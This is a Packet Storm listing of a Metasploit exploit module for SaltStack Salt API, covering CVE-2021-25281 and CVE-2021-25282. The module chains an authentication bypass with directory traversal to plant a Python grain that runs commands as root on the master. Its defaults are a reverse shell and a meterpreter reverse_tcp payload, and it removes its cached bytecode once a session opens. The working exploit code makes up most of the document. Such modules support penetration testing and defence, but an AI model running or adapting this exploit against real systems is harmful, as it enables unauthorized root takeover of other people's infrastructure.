what you don't know can hurt you
Home Files News &[SERVICES_TAB]About Contact Add New

SaltStack Salt API Unauthenticated Remote Command Execution

SaltStack Salt API Unauthenticated Remote Command Execution
Posted Apr 1, 2021
Authored by Christophe de la Fuente, Alex Seymour | Site metasploit.com

This Metasploit module leverages an authentication bypass and directory traversal vulnerabilities in Saltstack Salt's REST API to execute commands remotely on the master as the root user. Every 60 seconds, salt-master service performs a maintenance process check that reloads and executes all the grains on the master, including custom grain modules in the Extension Module directory. So, this module simply creates a Python script at this location and waits for it to be executed. The time interval is set to 60 seconds by default but can be changed in the master configuration file with the loop_interval option. Note that, if an administrator executes commands locally on the master, the maintenance process check will also be performed. It has been fixed in the following installation packages: 3002.5, 3001.6 and 3000.8. Also, a patch is available for the following versions: 3002.2, 3001.4, 3000.6, 2019.2.8, 2019.2.5, 2018.3.5, 2017.7.8, 2016.11.10, 2016.11.6, 2016.11.5, 2016.11.3, 2016.3.8, 2016.3.6, 2016.3.4, 2015.8.13 and 2015.8.10. This module has been tested successfully against versions 3001.4, 3002 and 3002.2 on Ubuntu 18.04.

tags | exploit, root, vulnerability, python
systems | linux, ubuntu
advisories | CVE-2021-25281, CVE-2021-25282
SHA-256 | 49c40579de007295532abf11c8ebcc3115636ea6aeaf3fbe9be600207cb7d985

SaltStack Salt API Unauthenticated Remote Command Execution

Change Mirror Download
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote

Rank = ExcellentRanking

prepend Msf::Exploit::Remote::AutoCheck
include Msf::Exploit::Remote::HttpClient
include Msf::Exploit::CmdStager
include Msf::Exploit::FileDropper

def initialize(info = {})
super(
update_info(
info,
'Name' => 'SaltStack Salt API Unauthenticated RCE through wheel_async client',
'Description' => %q{
This module leverages an authentication bypass and directory
traversal vulnerabilities in Saltstack Salt's REST API to execute
commands remotely on the `master` as the root user.

Every 60 seconds, `salt-master` service performs a maintenance
process check that reloads and executes all the `grains` on the
`master`, including custom grain modules in the Extension Module
directory. So, this module simply creates a Python script at this
location and waits for it to be executed. The time interval is set to
60 seconds by default but can be changed in the `master`
configuration file with the `loop_interval` option. Note that, if an
administrator executes commands locally on the `master`, the
maintenance process check will also be performed.

It has been fixed in the following installation packages: 3002.5,
3001.6 and 3000.8.

Also, a patch is available for the following versions: 3002.2,
3001.4, 3000.6, 2019.2.8, 2019.2.5, 2018.3.5, 2017.7.8, 2016.11.10,
2016.11.6, 2016.11.5, 2016.11.3, 2016.3.8, 2016.3.6, 2016.3.4,
2015.8.13 and 2015.8.10.

This module has been tested successfully against versions 3001.4,
3002 and 3002.2 on Ubuntu 18.04.
},
'Author' => [
'Alex Seymour', # Original PoC
'Christophe De La Fuente' # MSF Module
],
'References' => [
['CVE', '2021-25281'], # Auth bypass
['CVE', '2021-25282'], # Directory traversal
['URL', 'https://saltproject.io/security_announcements/active-saltstack-cve-release-2021-feb-25/'],
['URL', 'https://github.com/Immersive-Labs-Sec/CVE-2021-25281/blob/main/cve-2021-25281.py']
],
'DisclosureDate' => '2021-02-25',
'License' => MSF_LICENSE,
'Platform' => ['unix', 'linux'],
'Arch' => [ARCH_CMD, ARCH_X86, ARCH_X64],
'Privileged' => true,
'Targets' => [
[
'Unix Command',
{
'Platform' => 'unix',
'Arch' => ARCH_CMD,
'Type' => :unix_cmd,
'DefaultOptions' => {
'PAYLOAD' => 'cmd/unix/reverse'
}
}
],
[
'Linux Dropper',
{
'Platform' => 'linux',
'Arch' => [ARCH_X86, ARCH_X64],
'Type' => :linux_dropper,
'DefaultOptions' => {
'CMDSTAGER::FLAVOR' => :bourne,
'PAYLOAD' => 'linux/x64/meterpreter/reverse_tcp'
}
}
]
],
'DefaultTarget' => 1,
'DefaultOptions' => {
'WfsDelay' => 90, # The master's maintenance process check cycle is set to 60 sec. by default
'SSL' => true # Salt API uses HTTPS by default
},
'Notes' => {
'Stability' => [CRASH_SAFE],
'Reliability' => [REPEATABLE_SESSION],
'SideEffects' => [IOC_IN_LOGS] # Payload visible in log if set to DEBUG or TRACE level
}
)
)

register_options([
Opt::RPORT(8000),
OptString.new('TARGETURI', [true, 'Base path', '/']),
OptString.new(
'EXTMODSDIR',
[
true,
'The Extension Module Directory ("extmods")',
'/var/cache/salt/master/extmods'
]
)
])
end

def check
fun = 'config.values'
res = send_request(fun: fun)

unless res
return CheckCode::Unknown('Target did not respond to check.')
end

# Server: CherryPy/8.9.1
unless res.headers['Server']&.match(%r{^CherryPy/[\d.]+$})
return CheckCode::Unknown('Target does not appear to be running Salt API.')
end

if res.code == 200 && res.get_json_document['return']
res_json = res.get_json_document['return'].first
if res_json&.key?('tag') && res_json&.key?('jid')
return CheckCode::Detected('Salt API responded as expected.')
end
end

CheckCode::Safe('Unexpected Salt API response')
end

def exploit
print_status("Executing #{target.name} for #{datastore['PAYLOAD']}")

case target['Type']
when :unix_cmd
execute_command(payload.encoded)
when :linux_dropper
execute_cmdstager(background: true)
end
end

def execute_command(cmd, _opts = {})
vprint_status("Executing command: #{cmd}")

@rand_basename = rand_text_alphanumeric(4..12)
path = normalize_uri(datastore['EXTMODSDIR'], 'grains', "#{@rand_basename}.py")
register_file_for_cleanup(path)

cmd.gsub!("'", "\\\\'")
data = <<~PYTHON
import subprocess
def #{rand_text_alpha(6..8)}():
subprocess.Popen('#{cmd}', shell=True)
return {}
PYTHON

send_request(data: data, path: path)
vprint_status(
"Waiting up to #{wfs_delay} seconds for the Salt maintenance process check "\
'to trigger the payload (WfsDelay option).'
)
end

def send_request(fun: 'pillar_roots.write', data: '', path: '')
# https://docs.saltstack.com/en/latest/ref/netapi/all/salt.netapi.rest_cherrypy.html#post--run
json = {
'eauth' => 'auto',
'client' => 'wheel_async',
'fun' => fun
}
json['data'] = data unless data.empty?
json['path'] = "../../../../../..#{path}" unless path.empty?

send_request_cgi(
'method' => 'POST',
'uri' => normalize_uri(target_uri.path, 'run'),
'ctype' => 'application/json',
'data' => json.to_json
)
end

def path_exists?(session, path, is_dir: false)
if session.type == 'meterpreter'
path_exists = begin
session.fs.file.stat(path)
rescue StandardError
nil
end
if is_dir
return !!(path_exists && path_exists.directory?)
else
return !!(path_exists && path_exists.file?)
end
else
path_exists = session.shell_command_token(
"test #{is_dir ? '-d' : '-f'} \"#{path}\" && echo true"
)
return !!(path_exists && path_exists =~ /true/)
end
end

def on_new_session(session)
payload_instance.stop_handler
super

# The Python script is being cached in the "__pycache__" directory as a
# compiled bytecode file (.pyc). This will need to be deleted to avoid
# being executed over and over.
path = normalize_uri(datastore['EXTMODSDIR'], 'grains', '__pycache__')
if session.type == 'meterpreter'
session.core.use('stdapi') unless session.ext.aliases.include?('stdapi')
return unless path_exists?(session, path, is_dir: true)

files = begin
session.fs.dir.entries(path, "#{@rand_basename}*.pyc")
rescue StandardError
[]
end

files.each do |file|
file_path = normalize_uri(path, file)
next unless path_exists?(session, file_path)

session.fs.file.rm(file_path)

if path_exists?(session, file_path)
print_warning("Unable to delete #{file_path}")
else
print_good("Deleted #{file_path}")
end
end
else
return unless path_exists?(session, path, is_dir: true)

files = session.shell_command_token(
"find \"#{path}\" -maxdepth 1 -type f -name \"#{@rand_basename}*.pyc\""
)

files.each_line do |file|
file.chomp!
next unless path_exists?(session, file)

session.shell_command_token("rm -f \"#{file}\" >/dev/null")

if path_exists?(session, file)
print_warning("Unable to delete #{file}")
else
print_good("Deleted #{file}")
end
end
end
end

end
Login or Register to add favorites

File Archive:

March 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Mar 1st
    16 Files
  • 2
    Mar 2nd
    0 Files
  • 3
    Mar 3rd
    0 Files
  • 4
    Mar 4th
    32 Files
  • 5
    Mar 5th
    28 Files
  • 6
    Mar 6th
    42 Files
  • 7
    Mar 7th
    17 Files
  • 8
    Mar 8th
    13 Files
  • 9
    Mar 9th
    0 Files
  • 10
    Mar 10th
    0 Files
  • 11
    Mar 11th
    15 Files
  • 12
    Mar 12th
    19 Files
  • 13
    Mar 13th
    21 Files
  • 14
    Mar 14th
    38 Files
  • 15
    Mar 15th
    15 Files
  • 16
    Mar 16th
    0 Files
  • 17
    Mar 17th
    0 Files
  • 18
    Mar 18th
    10 Files
  • 19
    Mar 19th
    32 Files
  • 20
    Mar 20th
    46 Files
  • 21
    Mar 21st
    16 Files
  • 22
    Mar 22nd
    13 Files
  • 23
    Mar 23rd
    0 Files
  • 24
    Mar 24th
    0 Files
  • 25
    Mar 25th
    12 Files
  • 26
    Mar 26th
    31 Files
  • 27
    Mar 27th
    19 Files
  • 28
    Mar 28th
    42 Files
  • 29
    Mar 29th
    0 Files
  • 30
    Mar 30th
    0 Files
  • 31
    Mar 31st
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2022 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close